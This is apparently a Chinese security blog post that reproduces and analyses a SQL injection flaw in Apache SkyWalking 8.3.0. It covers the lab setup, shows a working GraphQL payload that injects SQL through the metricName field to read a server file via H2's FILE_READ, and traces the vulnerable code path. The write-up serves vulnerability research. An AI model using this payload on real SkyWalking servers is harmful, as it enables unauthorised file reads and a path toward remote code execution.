Loading

Skywalking Rce 漏洞利用复现&分析

0x00 漏洞简介

看到先知各位师傅的复现文章了,借此机会复现学习一波graphql和h2数据库相关的知识。

0x01 环境搭建

下载源码进行编译

https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz

解压后,进行编译

./mvnw compile -Dmaven.test.skip=true

使用idea启动进行调试,直接点击OAPServerStartUp

image-20210308235851684

切换到skywalking-ui启动前台

npm run serve

image-20210309000017546

image-20210309000707414

0x02 漏洞利用

1、关于graphql

使用burpsuit或者graphiql执行graph语句进行利用,下图为读取文件

image-20210309000854956

关于上图中的graphql,详情可看这篇graphql入门

//query
query queryLogs($condition: LogQueryCondition) {
    queryLogs(condition: $condition) {
        logs{
          content
        }
  }
}
 
 
 
//query variables
{
        "condition":{
            "metricName":"INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/tmp/test.txt', NULL) where ?=1 or ?=1 or 1=1--",
            "paging":{
                "pageNum":1,
                "pageSize":1
            },
            "state":"ALL",
            "queryDuration":{
                "start":"2021-02-07 1554",
                "end":"2021-02-07 1554",
                "step":"MINUTE"
            }
        }
    }

(1)query可以理解为书查询树的根节点,其中queryLogs为调用的函数。

(2)queryLogs($condition: LogQueryCondition)的括号为插入一个condition变量,该变量的类型为LogQueryCondition,即传入的数值必须得有这样子的结构

image-20210311233919658

(3)第二个queryLogs中的参数condition表示传参字段,其内容为$condition,而$conditon内容被解析为query variables里边的内容。

(4)logs和content表示,返回内容为logs中的content字段

2、代码分析

从数据传入的源头开始分析,首先是doPost方法对post过来的数据进行处理

image-20210316234513561

在doPost方法中调用了execute方法处理传入的json数据

image-20210316234707467

最终调用graphql处理方法执行该语句

image-20210316234951911

poc中指向的查询函数为LogQuery,即如下方法为其实现逻辑

src/main/java/org/apache/skywalking/oap/query/graphql/resolver/LogQuery.java

image-20210317000904733

调用对应的queryLogs方法,最终进入dao方法中进行查询

image-20210317001906396

经过层层sql拼接

image-20210317002948302

最终进入h2数据库类的executequery进行语句执行

image-20210317003049314

最终通过拼接sql,进入数据库sql调用

image-20210317003151586

而底层调用的是h2数据库,所以我们可以根据h2特性进行后续的利用。详情可看 我的另外一篇blog

参考

https://xz.aliyun.com/t/9217

posted @ 2021-03-17 00:37  0x28  阅读(1146)  评论(0编辑  收藏  举报